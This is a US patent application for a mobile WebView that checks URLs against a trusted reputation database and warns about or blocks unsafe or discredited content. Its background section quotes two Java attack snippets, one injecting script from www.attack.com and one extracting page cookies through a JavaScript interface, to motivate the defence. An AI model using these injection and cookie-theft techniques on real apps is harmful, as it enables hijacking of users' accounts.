Method, system and application programmable interface within a mobile device for indicating a confidence level of the integrity of sources of information
The present disclosure discloses a method of allowing WebView to verify the source context, source reputation, integrity and/or security level of a web content and inform the user with regards to the security and blocks web contents that are determined harmful or inappropriate. In one embodiment of the present disclosure, the WebView checks a trusted data source to see if the visited web content has been labeled or flagged as suspect, safe or unsafe by initiating a connection to a trusted third-party database using a to determine whether or not the URL is associated with a domain that has been classified or labeled as safe or unsafe. The WebView then informs the user about the security level, suspect quality, reputation and/or integrity of the web content through a visual indicator or it can redirect the user to a warning page explaining why access to the site is prohibited, or it can block access without warning.
This Nonprovisional Patent Application is a Continuation-in-Part Application to U.S. Pat. No. 10,264,016 as filed on Mar. 23, 2016 by Inventor Paul F. Walsh and titled METHODS, SYSTEMS AND APPLICATION PROGRAMMABLE INTERFACE FOR VERIFYING THE SECURITY LEVEL OF UNIVERSAL RESOURCE IDENTIFIERS EMBEDDED WITHIN A MOBILE APPLICATION. The aforesaid U.S. Pat. No. 10,264,016 as filed on March 23rd aforesaid is hereby incorporated into the present disclosure in its entirety and for all purposes.
FIELD OF THE INVENTIONThe present disclosure relates to methods and systems for verifying the security or reputation level of web content that is embedded within a mobile application through a WebView or other means. It also relates to methods and systems for verifying the security or reputation level associated with mobile application owners. The present disclosure provides systems and methods that inform users regarding the safety of a website, universal resource locator (hereinafter, “Url” or “URL”) or location that they are accessing or attempting to access and provides various related benefits and advantages.
BACKGROUND OF THE INVENTIONThe subject matter discussed in the background section should not be assumed to be prior art merely as a result of its mention in the background section. Similarly, a problem mentioned in the background section or associated with the subject matter of the background section should not be assumed to have been previously recognized in the prior art. The subject matter in the background section merely represents different approaches, which in and of themselves may also be inventions.
Most literate individuals today rely on information received via electronics networks. This distributed information may impact the individuals' financial decisions, political beliefs, life choices, etc. While many individuals rely on information provided by self-identified sources of news and other information to make both critical and mundane life decisions, information recipients often fail to realize that electronically provided content may have incorrect facts or be provided from negligent or deceptive sources having unintentional biases, reporting from idiosyncratic contexts, or intentionally inserting distortions that are not self-evident. Information recipients may thereby reach conclusions supported on the basis of the fabricated facts, incorrect information and/or incomplete data. Furthermore, there are few available informational assets that may be reliably consulted for guidance in determining the integrity of information sources. There is therefore a long-felt need to provide information that informs the general public of the integrity and character of an information source.
In one modality of information access, information seekers use mobile networked communications devices, to include cellular telephones, to access information sources of the Internet. Such information sources includes assets available as Universal Resources Identifiers, such as domain names of the World Wide Web.
WebView is an essential component on mobile operating platforms such as mobile devices using suitable operating systems such as ANDROID™ as licensed by Google, Inc., of Mountain View, Calif. and iOS™ as licensed by Apple, Inc. of Cupertino, Calif. For purposes of this disclosure, a WebView is a class used to access or display content from the internet on any mobile device using anything other than a commercial web browser (e.g., Firefox™, Safari™, Chrome™ and Internet Explorer™. A WebView enables web content to be displayed inside mobile apps. For example, application developers can use WebView to display web content inside an app instead of redirecting users to the native browser. This also allows developers to offer users an integrated experience because they don't need to close the app and open a web browser in order to view the web content.
A WebView is not intended to act in the same way as conventional web browsers because it does not include many to all of the features of a fully developed web browser, such as navigation controls, an address bar or safety features. A WebView, by default, allows a mobile application to display web content. While users of the WebView may move backward and forward through history and pinch zoom to increase the size of text in the web page, WebView does not allow users to visit a web page by typing a URL into an address bar and it offers no web search or security capabilities that commercial web browsers provide.
WebView was originally designed only to display web content inside an app and so their security infrastructure didn't support many of the things that developers are using them for today. There is an increasing trend towards developers building “hybrid” apps made to look like native apps but are in fact, built entirely around a WebView, using technologies such as HTML and CSS—thereby enabling hundreds of thousands of apps that have browser-like capability, most of which are not developed by well recognized companies and their trustworthiness may be questionable. Since WebView was first created, app usage is growing exponentially, leading to WebView being used by an increasing number of users. For example, WebView can be helpful when application developers want to provide information in their applications that they might need to update without asking users to update their application, such as an end-user agreement or a user guide. Within their applications, developers can create an Activity that contains a WebView, and then use that to display their documents that are hosted online. A Browser is a critical component in the Trusted Computing Base (hereinafter, “TCB”) of the Web: Web applications rely on the client side of browsers to secure their cookies, HTTP requests, JavaScript code and so on. Various alternate preferred embodiments of the method of the present invention applies suitable commercially available browsers such as Chrome, Firefox, Safari and Opera because we trust that they can serve as a TCB. When using hybrid applications that act like “browsers”, the trust is gone. Therefore, WebView has weakened the TCB of the Web infrastructure.
However, the design of WebView also changes the landscape of the Web, especially from the security and reputation perspective. As a result, many attacks can be launched either against apps or by them. The Web's security infrastructure can be weakened when a WebView and its Application Programming Interfaces (APIs) are used because WebView does not have security related identity indicators. In other words, users often cannot identify whether a link has taken them to the expected web page or web application. Thus, when a user is accessing web content through WebView and the web page asks the user for confidential information such as username, password or credit card number, the confidential information entered by the user will be vulnerable to spoofing and phishing attacks. Attackers can spoof users using illegitimate applications with high accuracy, meaning that there is high risk of phishing attacks on mobile platforms. There are several ways to launch attacks on WebView or content in a mobile application. An explanation of why and how attacks can take place on WebView or content in a mobile application, please see: http://www.cis.syr.edu/.about.wedu/Research/paper/webview_acsac2011.pdf,
which is incorporated herein by reference. As an example, the present disclosure and referenced article show how using the functionalities provided by WebView, an app can directly inject its own JavaScript code into any web page loaded within the WebView. This code can manipulate everything in the web page, as well as steal or misuse its sensitive information. Using WebView's loadUrl( ) API, Android application can inject arbitrary JavaScript code into the pages loaded by the WebView component. The loadUrl( ) API receives an argument of string type; if the string starts with“javascript:”, WebView will treat the entire string as JavaScript code, and execute it in the context of the web page that is currently displayed by the WebView component. This JavaScript code has the same privileges as that included in the web page. Essentially, the injected JavaScript code can manipulate the DOM tree and cookies of the page. WebView has an option named javascriptenable, with False being its default value; namely, by default, WebView does not execute any JavaScript code. However, this option can be easily set to True by the application, and after that, JavaScript code, embedded in the web page or injected by the application, can be executed. There are many ways to inject JavaScript code into web page using loadUrl( ). We give two examples here to illustrate the details.
The following Java code constructs a string that contains a short JavaScript program; the program is injected into the web page loaded by WebView. When this program is executed in the context of the web page, it fetches additional (malicious) code from an external web server, and executes it.
String js=“javascript: var newscript.quadrature.=document.createElement(\“script\”);”; js+=“newscript.src=\“http://www.attack.com/malicious.js\”;”; js+=“document.body.appendChild(newscript);”; mWebView.loadUrl(js);
In the above example, the malicious code malicious.js can launch attacks on the targeted web application from within the web page. For example, if the web page is the user's Facebook page, the injected JavaScript code can delete the user's friends, post on his/her friends' walls, modify the user's profiles, etc. Obviously, if the application is developed by Facebook, none of these will happen, but some popular Facebook apps for Android phones are indeed developed by third parties.
Extracting Information From WebView. In addition to manipulating the contents/cookies of the web page, the malicious application can also ask its injected JavaScript code to send out sensitive information from the page. The following example shows how an Android application extracts the cookie information from a targeted web page.
class MyJS {.quadrature.public void SendSecret(String secret) { . . . do whatever you want with the secret . . . webview.addJavascriptInterface(new MyJS( ), “JsShow”); webview.setWebViewClient(new WebViewClient( ) {public void onPageFinished(WebView view, String url){view.loadUrl(“javascript: window.JsShow.SendSecret(document.cookie)”);}
In the Java code above, the malicious application defines a class called MyJS with a function SendSecret, which receives a string as the parameter. The program then registers an instance of MyJS to WebView. On finishing loading the page, the application, using loadUrl, invokes window.JsShow.SendSecret, passing as the parameter whatever sensitive information the attacker wants to extract out of page. In this case, the cookie information is sent out.
Further, while WebView provided by companies such as Google™ and Apple™ offer a secure connection between a mobile application and a web page, their basic user interfaces do not offer users with any indication of the level of security offered by the web content. Thus, users will not be aware of whether the web content is safe or authentic. As a result, this gives the fraudsters (including phishing web sites) an opportunity to exploit such security breech.
Fueled by widespread adoption of employee-owned devices in the workplace and the explosion of mobile applications, mobile device security is an increasing threat to personal privacy. Businesses and government agencies are at risk with employees using their own devices to access some of the most sensitive data in an organization.
Accordingly, there exists a need for an improved method which not only allows users of WebView to readily identify whether a web page is safe or is from a reputable source of information, but also allows them to readily identify the level of security or reputation, thereby increasing users' confidence in performing secure transactions over WebView. There also exists a need for improved security method which protects users and their personal data from malicious web sites or phishing attacks while they are accessing a web page through WebView. There also exists a need for improved security method which offers users the ability to block content that they deem inappropriate for themselves or the people for whom they are responsible while using WebView. There also exists a need for improved security method which offers users the ability to verify the real identity of an application owner to help prevent phishing and other malicious attacks by the app itself.
There exists also a broader need for information seekers to consult reliable guidance as to the integrity and character of sources of information, such as provides of text, data, images, video and audio files via electronic information sources, such as the World Wide Web.
SUMMARY AND OBJECTS OF THE INVENTIONToward these objects and other objects that will be made obvious in light of the present disclosure, a network communications-enabled device provides access to informational content available at a digitized resource that is accessible and addressable at a Universal Resource Identifier, or, “URI”, such as a domain name of a website of the World Wide Web or other Universal Resource Locator, or “URL”.
In certain alternate embodiments of the method of the present invention, information is received by a mobile communications device, such as a cellular smart phone, inside a mobile or tablet application (hereinafter, “an app”) that is capable of informing the user with regards to the integrity, security or reputation level of a web page and blocks web pages that are determined harmful or inappropriate, or from a false, discredited or suspect universal resource identifier identified source is presented.
In accordance with the method of the present invention (hereinafter, “the invented method”), a mobile device executes a mobile application that is adapted to both receive a universal resource identifier (hereinafter, “URI”) from a network, e.g., the Internet and/or other electronic communications network, and to applies the URI within the mobile application to access content from the network, wherein the mobile application is enabled to access the content from the network wherein the URI is associated with an indication of information integrity, and the mobile application notifies a user of the mobile device that the URI is associated with the indication of information integrity.
The present disclosure also discloses a WebView or apparatus that provides access to a hybrid application that is capable of informing the user with regards to the identity of the application owner.
A first preferred embodiment of the present invention (hereinafter, “the first device” includes a mobile computer system, such as smartphone. The first device comprises a processor; and a computer-readable storage device having encoded thereon computer-executable instructions that are executable by the processor to perform specific functions. The functions of the first device that are enabled by the invented method includes one or more of the elements and aspects of (1.) receiving a message or instruction indicating a mobile application on the first device while coupled to a memory device has accessed or is trying to access content from an electronic communications network that is to be embedded or incorporated into the mobile application, wherein the mobile application optionally or additionally partially or entirely accesses or tries to access content from the internet through a WebView of the mobile application; (2.) receiving a message or instruction indicating whether or not the content that is to be embedded or incorporated into the mobile application is accessed from a source of suspect information; (3.) sending a message indicating that the source of the content that the mobile application has accessed or is trying to access a source of suspect information; and/or (4.) alerting a user of the first device prior to enabling access to the content from the source of suspect information that the source of the content is determined to be a source of suspect information.
In various alternate preferred embodiments of the invented method mobile device is bi-directionally coupled with an electronic communications network (“the network”), and the mobile device, such as but not limited to a smartphone, comprising a processor coupled to a memory device. Optional aspects and elements of these alternate preferred embodiments of the invented method include on or more of (1.) the mobile device executing a mobile application that is adapted to both receive a URI from the network and to apply the universal resource identifier exclusively within the mobile application to access a content from the network, wherein the mobile application is enabled to access the content from the network through a WebView of the mobile application; (2.) determining whether or not universal resource identifier is indicated to be a source of suspect information; (3.) the mobile application notifying a user of the mobile device that the universal resource identifier is indicated to be a source of suspect information; and/or (4.) alerting the user of the mobile device if that universal resource identifier is determined to be a source of suspect information.
In one alternate optional aspect of the invented method, the WebView of the invented device checks a trusted data source to see if the visited web content has been labeled or flagged as safe or unsafe. The WebView initiates a connection to a trusted third-party database using a RESTful HTTPS API request to determine whether or not the URL is associated with a domain that has been classified or labeled as safe or unsafe. The WebView can then inform the user about the security level of the web content through a visual indicator or it can redirect the user to a warning page explaining why access to the site is prohibited, or it can block access without warning.
In another embodiment of the present disclosure, the WebView of the present disclosure checks a trusted data source to see if the application owner has had their identity verified. The WebView initiates a connection to a trusted third-party database using a RESTful HTTPS API request to determine whether or not the application owner has had their identity verified. Such information may include their legal name, address, nature of business, contact email address and website URL.
In another embodiment of the present disclosure, a computer-implemented method, the method implemented using a computer device coupled to a memory device is provided. The method comprises determining when a mobile application on a computer device coupled to a memory device has accessed or is trying to access content from the internet; determining whether or not the content that the mobile application has accessed or is trying to access is safe or unsafe; notifying the user of the application or causing the mobile application to notify the user of the application that the content that the mobile application has accessed or is trying to access is safe or unsafe; and preventing the user of the application from accessing the content from the internet if that content is determined to be unsafe.
In at least one aspect of at least one embodiment, the mobile application accesses or tries to access content from the internet through the Web View of the mobile application.
In at least another aspect of at least one embodiment, notifying the user of the application or causing the mobile application to notify the user of the application cause a visual indicator to appear in the mobile application or in the WebView indicating that the content is safe or unsafe and reputable or from a known discredited source.
In at least another aspect of at least one embodiment, the visual indicator uses different colors to represent whether or not the content is safe or how safe the content is.
In at least another aspect of at least one embodiment, the method and system further comprises storing information regarding whether or not the content is safe on the user's mobile device and if the content is safe allowing the user to access the content next time it is accessed without determining whether or not the content is safe.
In at least another aspect of at least one embodiment, determining whether or not the content that the mobile application has accessed or is trying to access is safe or unsafe is determined by whether or not the URL of the web page associated with the content has been classified or labeled as safe or unsafe.
In at least another aspect of at least one embodiment, determining whether or not the content that the mobile application has accessed or is trying to access is safe or unsafe and reputable or from a known discredited source is determined by whether a registry has determined the content or URL of the web page associated with the content is safe or unsafe and reputable or from a known discredited source.
In yet another embodiment of the present invention, a computer system is provided. The computer system comprises at least a processor, a computer-readable storage device having encoded thereon computer-executable instructions that are executable by the processor to perform functions comprising: receiving a message or instruction indicating a mobile application on a computer device coupled to a memory device has accessed or is trying to access content from the internet; receiving a message or instruction indicating whether or not the content that the mobile application has accessed or is trying to access is safe or unsafe; sending a message or instruction indicating that the content that the mobile application has accessed or is trying to access is safe or unsafe and sending a message or instruction that prevents the user of the application from accessing the content from the internet if that content is determined to be unsafe.
These and other features, aspects and advantages of the present invention will become better understood with reference to the following drawings, description and claims. This Summary is not intended to identify key features or essential features of the claimed subject matter, nor is it intended to be used to limit the scope of the claimed subject matter.
These, and further features of the invention, may be better understood with reference to the accompanying specification and drawings depicting the preferred embodiment, in which:
The following description is not to be taken in a limiting sense, but is made merely for the purpose of illustrating the general principles of the invention. Various inventive features are described below that can each be used independently of one another or in combination with other features.
Throughout the disclosure, various embodiments will be referred to as a present disclosure and the use of such term is not meant to be limiting but rather encompassing of all of the various embodiments, features and aspects thereof, as well as other anticipated embodiments.
The word “exemplary” is used herein to mean “serving as an example, instance, or illustration.” Any aspect described herein as “exemplary” is not necessarily to be construed as exclusive, preferred or advantageous over other aspects.
In this description, when the term “safe” or “secure”, includes, but is not limited to, protecting the user from phishing, spoofing, malware, spyware and/or inappropriate content.
Broadly, embodiments of method of the present invention (hereinafter “invented method”) generally provide methods of verifying the security level, the intelligence, and/or the reputation of web content that is being accessed through WebView. In one embodiment, the method comprises having a WebView that determines a universal resource indicator (“URI”), wherein the URI may optionally be, but is not limited to, a universal resource locator (“URL”), of a web page; initiating a secure connection to the domain associated with the URL; and informing the user with regards to the security level of the web content. The user can be informed through a visual indicator that is displayed on a screen of a mobile device 10. In at least one embodiment, the same method is used to determine if the identity of an owner of an application has been verified. In at least one embodiment, the same method is used to determine if the URI has been categorized as Fake-news, Far-right, Far-left, Satire or Alternative-right as is therefore not considered a reliable course of information. The user can also be informed through a visual indicator that is displayed on the screen of the mobile device 10, through an on-screen message or by means of other notification methods known in the art.
In one embodiment of the present disclosure, the method of providing a secure WebView comprises using a WebView or a mobile application embedding a WebView to determine if the URL of a web page has been labeled. If the URL is labeled under a category that is considered harmful or inappropriate, access to the web content is blocked and, in one aspect of at least one embodiment, the user is prevented from accessing the invention or redirected to a web page that explains why access has been denied. In another aspect of the at least one embodiment, access to the web content is permitted if the URL is not labeled under a category that is considered unsafe or insecure. Harmful or inappropriate content may include malware, spyware, phishing, Fake-news, Far-right, Far-left, Satire or Alternative-right and/or pornography etc. The identification of owner of the application embedding WebView or Web Content can optionally be identified to allow the user to know more about the safety level of the application.
In yet another embodiment of the present disclosure, parameters that are included in an API call include, but not limited to the apikey parameter, which identifies the requesting application and/or the version of the app (e.g. “2.1.2”). Each URL to be inspected should be encoded as per RFC 3986 (i.e. ‘percent encoded’). It is understood that for apikey parameter, each apikey should be unique to each client application on each platform (e.g., iOS versions will have a different apikey than the Android equivalent). When registering the client application via the trusted domain, details of the client application developer should also be provided.
In yet another embodiment of the present disclosure, the WebView (or an apparatus that provides access to web content inside a mobile device 10 application) of the present disclosure is checking a trusted data source to see if the visited web content has been labeled or flagged as safe or unsafe. This can be done by, for example, initiating a connection to a trusted third-party database using a RESTful HTTPS API request to determine whether or not the URL is associated with a domain that has been classified or labeled as safe or unsafe. The WebView of the present disclosure can then either show a visual indicator based on whether or not web content is safe, or it can redirect the user to a warning page explaining why access to the site is prohibited, or it can block access without warning. For example, the WebView can redirect the user to a new web page or informational web page using a HTTP or HTTPS redirect. A WebView could also provide a visual warning indicator inside the WebView, such as a question mark (?) or stop sign and uses varied colors to represent different levels of security or annotations for indicating news or information sources that are labeled as not being unbiased and of known refuted origin.
As an illustration, a typical API call an application using a WebView would make to check a URL's label status is a HTTPS request similar to the following:
GET /label/get_urls HTTP/1.1
Host api.safedomain.com.
This API call takes fully-qualified URLs and determines whether the full URL, folder/path, domain or sub-domain of each given URL has a label type associated with it.
In yet another embodiment of the present disclosure, the WebView (or an apparatus that provides access to web content inside a mobile or tablet app) of the present disclosure is checking a trusted data source to see if the application owner has had their identity verified. This can be done by initiating a connection to a trusted third-party database using a RESTful HTTPS API request to determine whether or not the apikey has been associated with a verified entity.
The WebView of the present disclosure can then either show a visual indicator based on whether or not the application owner's identity has been verified, or it can redirect the user to a warning page explaining why the identity certificate has been revoked. For example, the WebView can redirect the user to a web page or informational web page using a HTTP or HTTPS redirect. An application could also provide a visual warning indicator inside the WebView, such as a green padlock or tick. A user would select the visual indicator to view a web page where the following information is provided: Entity name, address, contact person, and contact email address
As an illustration, a typical API call an application using a WebView would make to check an app owner's identity status is a HTTPS request similar to the following:
GET /label/get_urls HTTP/1.1
Host api.apikeyiosxxx.xx.
This API call takes fully-qualified API keys and determines whether the application has an identity label type associated with it.
In addition, when the API is called, one of the following response codes could be returned: 400—Bad request—Missing/Invalid URL parameters; 401—Unauthorized—Invalid authentication parameters have been provided; either the provided api_key was not found, or it may have been rejected due to a violation of service terms; 405—Method not allowed—Check that you are using the proper method for the resource (i.e. GET or POST); and/or 200—Ok—If the given parameters were correct, whether or not labels have been found, the API will respond Ok.
Below is an example of one version of code that can practice the method of the present disclosure.
An exemplary response to the above request is as follows:
The response for “folder” returned a type “xxx”. This means that the folder is classified as ‘Pornography’ so you should assume that this particular URL and every other URL in this folder contains pornography. The response also tells you that, even though, the folder and, therefore, the URL, contains XXX content, the domain is labeled as ‘Image Sharing’. If a URL hasn't been found under a chosen category, an empty array will be returned.
Additional, older versions of implementations of the invented method are also presented below.
Below is an example of one version of the code that can practice the method of the present disclosure for the purpose of reputation identifications.
RESTfulAPI Call:
GET /1.1/label/get_info?api_key=9ccd4e2a&uri=socialnetwork.com HTTP/1.1 Host api.trustedsource.com
For a request, the server should include the type of URL in the response body when the queried URL matches one of the categories that is deemed unsafe. Example of a response can be:
In yet another embodiment of the present disclosure, the developers can also pick multiple categories of content they wish to block inside their app, so it's necessary to provide instructions on how the WebView should behave for each label type. Labels are used to define a category.
WebView properties are also configurable via a cloud interface. Thus, any and all updates to these properties are retrieved from the cloud via an API call and applied upon retrieval to the WebView. A developer can reconfigure on-the-fly which categories of Internet content are allowed or blocked.
In yet another embodiment of the present disclosure, REST based API Call can be represented by the following”
This web page has been issued with a malware label. Access to this web page has been prohibited. For more information visit securewebview.trustedsource.com”, “urlBar”:null, “action”:{“type”:“block”, “message”:“This link has been blocked because it may contain harmful or inappropriate content”
Additional categories which may optionally or additionally be blocked by means of the invented method are as follows:
API calls for some URLs may return more than one label result. In these cases, the specificity of the listed label's URL may be considered. For instance, in one embodiment of the present disclosure, a sub-domain label will override a domain's label or a full-URL match will override a partial folder match.
In some cases, the client application could perform transformations on the URLs it passes to the API so as to maximize the chance of a match to a data-point in the trusted third-party's database. This can be done by detecting proxy sites and parsing the proxied URL from the given URL. Alternatively, for media such as pictures and videos, extraneous query parameters unrelated to the actual identification of that media should be removed before an API call is made for that URL.
In yet another embodiment of the present disclosure, the same security verification process that is applied on the WebView or an application embedding WebView of the present disclosure can also be applied on applications that are entirely built using non-native application technologies such as HTML and CSS.
Applications using non-native application technologies can sometimes be made to look like native applications. However, non-native applications may not share the same security features as the native applications. Non-native technologies may be used by a developer to develop an application to look like an application coming from a trusted brand. Such problems are being seen on Android applications because they do not go through an app review process before being released to the public. Therefore, this gives fraudsters a chance to create an application that looks like a legit and branded application but is actually used for stealing sensitive information from the user or for other illegal purposes.
When a developer updates an application native to platforms such as iOS or Android, users are given a choice to download the updates. With hybrid applications using non-native technologies with the help of a WebView, the application developer can completely change the look and feel of the application or the nature of an application without informing users—users may not even know when hybrid applications have been updated. The user may not know the difference between a native application and a hybrid application as they can be made to look the same.
The security verification process of the present invention allows the application developers/owners to display an indicator on their app to demonstrate that their identity has been verified—using the same lookup service and methods as described previously. For example, and not by way of limitation, instead of just verifying the safety level of a web page, the identity of the application owner is further or independently verified. The identity of the application owner is first checked against a trusted database, and then a visual indicator can be used to display whether the application belongs to the owner as the application claimed and/or whether an owner is a trusted owner (i.e., certified owner such as Microsoft™ or Apple™).
Among other things, the present disclosure provides various benefits and advantages to the user accessing web content via WebView. The present disclosure allows the user to know the security level of the web content he or she is viewing and blocks access or warns the user when the web content is determined harmful or inappropriate. It should be understood, of course, that the foregoing relates to exemplary embodiments of the invention and that modifications may be made without departing from the spirit and scope of the invention as set forth in the following claims.
Referring now generally to the Figures, and particularly to
In the alternative, when it is determined in step 2.04 that a URI choice has been made, the mobile device 10 proceeds to step 2.10, wherein the mobile device 10 populates a request message REQ.MSG.001-REQ.MSG.N for intelligence and/or reputation information for transmittal to the server 12. In step 2.12 the mobile device 12 transmits the request message REQ.MSG.001-REQ.MSG.N to the server 12. In step 2.14 it is determined whether a response message RESP.MSG.001-RESP.MSG.N is received from the server 12 containing intelligence and/or reputation information. When the mobile device 10 determines in step 2.14 that no response message RESP.MSG.001-RESP.MSG.N is received from the server 12, the mobile device 10 proceeds to step 2.08, wherein the mobile device executes alternate operations. Alternately, when it is determined in step 2.14 that a response message RESP.MSG.001-RESP.MSG.N has been received from the server 12, the mobile device 10 renders the response message RESP.MSG.001-RESP.MSG.N for viewing by a user. In step 2.18 the mobile device 10 determines whether to command access to the designated URI.001-URI.N based upon the contents of the response message RESP.MSG.001-RESP.MSG.N. When the mobile device 10 determines not to command access to the designated URI.001-URI.N, the mobile device 10 executes alternate operations in step 2.08. When, in the alternative, the mobile device 10 determines to command access to the designated URI.001-URI.N, a communications session is initiated with the designated URI.001-URI.N in step 2.20. The mobile device 10 subsequently proceeds to step 2.08 and executes alternate operations.
Referring now generally to the Figures, and particularly to
It is understood that when the intelligence flag FLG.INT is set to an on position, it is indicated to the server 12 that the request message REQ.MSG.001 is requesting intelligence, and when the reputation flag FLG.REP is set to an on position, it is indicated to the server 12 that the request message REQ.MSG.001 is requesting reputation information. The number or types of categories presented are not to be interpreted as a limitation on the categorization of a particular URI or URI record, and a designated URI or URI record may have or comprise any number or type of category deemed appropriate or necessary by a user or administrator.
Referring now generally to the Figures, and particularly to
In the alternative, when the server 12 determines that a request message REQ.MSG.001-REQ.MSG.N has been received, the server 12 proceeds to step 4.08, wherein the server 12 determines whether the requested URI.001-URI.N is contained within a library 12I of the server 12. When the server 12 determines that the requested URI.001-URI.N is not in the library 12I of the server 12, the server 12 executes alternate operations in step 4.06. Alternately, when the server 12 determines that the requested URI.001-URI.N is in the library 12I of the server 12, the server 12 populates a response RESP.MSG.001-RESP.MSG.N for transmittal to the mobile device 10. In step 4.12, the server 12 transmits the response RESP.MSG.001-RESP.MSG.N to the mobile device 10. In step 4.14 the server 12 determines whether additional request messages REQ.MSG.001-REQ.MSG.N have been received. When the server 12 determines that additional request messages REQ.MSG.001-REQ.MSG.N have been received, the server 12 re-executes the loop of steps 4.10 through 4.14. Alternately, when the server 12 determines that no additional request messages REQ.MSG.001-REQ.MSG.N have been received, the server 12 proceeds to step 4.16, wherein the server 12 determines whether access to a designated URI.001-URI.N has been commanded. When the server 12 determines in step 4.16 that access has not been commanded, the server 12 executes alternate operations in step 4.06. In the alternative, when the server 12 determines that access has not been commanded in step 4.16, the server 12 proceeds to step 4.18. In step 4.18, access is granted to the designated URI.001-URI.N. The server 12 subsequently proceeds to step 4.06 and executes alternate operations.
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
The memory 10G of the mobile device 10 includes a mobile device software operating system OP.SYS 10H. The mobile device software OP.SYS 10H of the mobile device 10 may be selected from freely available, open source and/or commercially available operating system software, to include but not limited to a LINUX™ or UNIX™ or derivative operating system, such as the DEBIAN™ operating system software as provided by Software in the Public Interest, Inc. of Indianapolis, Ind.; WINDOWS XP™, or WINDOWS 8™ operating system as marketed by Microsoft Corporation of Redmond, Wash.; or the MAC OS X operating system or iPhone G4 OS™ as marketed by Apple, Inc. of Cupertino, Calif. The memory 10G further includes the mobile device system software program SW.MBL, a mobile device user input driver UDRV.MBL, a mobile device display driver DIS.MBL, and a mobile device network interface drive NIF.MBL. Additionally within the memory 10G of mobile device 10 are a plurality of URIs URI.001-URI.N
The exemplary mobile device system software program SW.MBL is optionally adapted to enable the mobile device 10 to (a.) generate messages and communicate with server 12, (b.) process communicate with and process messages received from server 12, and (c.) manage the mobile device 10 to perform, execute and instantiate all elements, aspects and steps as required of the mobile device 10 to practice the invented method in its various preferred embodiments interaction with the server 12, as outlined in the methods of
Referring now generally to the Figures, and particularly to
The memory 12G of the server 12 includes a server software operating system OP.SYS 12H. The server software OP.SYS 12H of the server 12 may be selected from freely available, open source and/or commercially available operating system software, to include but not limited to a LINUX™ or UNIX™ or derivative operating system, such as the DEBIAN™ operating system software as provided by Software in the Public Interest, Inc. of Indianapolis, Ind.; WINDOWS XP™, or WINDOWS 8™ operating system as marketed by Microsoft Corporation of Redmond, Wash.; or the MAC OS X operating system or iPhone G4 OS™ as marketed by Apple, Inc. of Cupertino, Calif. The memory 12G further includes the server system software program SW.SRV, a server user input driver UDRV.SRV, a server display driver DIS.SRV, and a server network interface drive NIF.SRV. Additionally within the memory 12G of server 12 is a server database management system 12I (hereinafter “DBMS.SRV 12I), the DBMS.SRV 12I containing: a server database DBS.SRV; a URI database DBS.URI, which contains a plurality of URI's URI.001-URI.N; a category database DBS.CAT, as described in greater detail in reference to
It is understood that the term “card” as used and applied within the present disclosure encompasses the generic meaning of the term of art of a digitized information storage record or data structure, and more particularly further encompasses Cards™ multimedia content files, as marketed by Twitter, Inc. of San Francisco, Calif. and/or Google Now™ personalized information storage and delivery system as offered by Google, Inc. of Mountain View, Calif., or other suitable content data or multimedia content files or documents known in the art. The ad content ADC.001-ADC.N and/or card CRD.001-CRD.N as delivered to the user by means of a response message RESP.MSG.001-RESP.MSG.N may optionally or additionally include a coupon of some conditional or unconditional monetary value.
The exemplary server system software program SW. SRV is optionally adapted to enable the server 12 to (a.) generate messages and communicate with mobile device 10, (b.) communicate with and process messages received from mobile device 10, and (c.) manage the server 12 to perform, execute and instantiate all elements, aspects and steps as required of the server 12 to practice the invented method in its various preferred embodiments and in interaction with the mobile device 10.
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Optionally, additionally or alternatively, one or more URI records URI.REC.001-URI.REC.N may contain one or more references to associated with a software card or a digitized advertisement content, such as a first card identifier CRAD.ID.001 and/or a first ad content record identifier ADC.ID.001 as presented in
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
Referring now generally to the Figures, and particularly to
In the alternative, when the server 12 determines that a request message REQ.MSG.001-REQ.MSG.N has been received, the server 12 proceeds to step 14.08, wherein the server 12 determines whether the requested URI.001-URI.N is contained within a library 12I of the server 12. When the server 12 determines that the requested URI.001-URI.N is not in the library 12I of the server 12, the server 12 executes alternate operations in step 14.06. Alternately, when the server 12 determines that the requested URI.001-URI.N is in the library 12I of the server 12, the server 12 determines whether one or more of the categories CAT.001-CAT.N in the request message REQ.MSG.001-REQ.MSG.N is contained within the category database DBS.CAT. When the server 12 determines that one or more of the categories CAT.001-CAT.N in the request message REQ.MSG.001-REQ.MSG.N is contained within the category database DBS.CAT, the server 12 proceeds to step 14.12, wherein the server 12 populate the one or more categories CAT.001-CAT.N to the response message RESP.MSG.001-RESP.MSG.N. Upon execution of step 14.12, or when the server determines in step 14.10 that one or more of the categories CAT.001-CAT.N in the request message REQ.MSG.001-REQ.MSG.N is not contained within the category database DBS.CAT, the server 12 proceeds to step 14.14. In step 14.14 the server 12 determines whether one or more pieces of advertising content ADC.001-ADC.N related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N is present within the advertising database DBS.ADC. When the server 12 determines that one or more pieces of advertising content ADC.001-ADC.N related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N is present within the advertising database DBS.ADC, the server 12 populates the advertising content ADC.001-ADC.N to the response message RESP.MSG.001-RESP.MSG.N. Alternately, when the server 12 determines that no pieces of advertising content ADC.001-ADC.N related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N are present within the advertising database DBS.ADC, or upon execution of step 14.16, the server 12 proceeds to step 14.18. In step 14.18 the server 12 determines whether a card CRD.001-CRD.N is present in the card database DBS.CRD related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N. When the server 12 determines that a card CRD.001-CRD.N is present in the card database DBS.CRD related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N, the server 12 populates the card CRD.001-CRD.N to the response message RESP.MSG.001-RESP.MSG.N. In the alternative, when the server 12 determines that no card CRD.001-CRD.N is present in the card database DBS.CRD related to one or more of the categories CAT.001-CAT.N contained within the request message REQ.MSG.001-REQ.MSG.N, or upon execution of step 14.20, the server 12 proceeds to step 14.22. In step 14.22 the server 12 transmits the response message RESP.MSG.001-RESP.MSG.N to the mobile device 10.
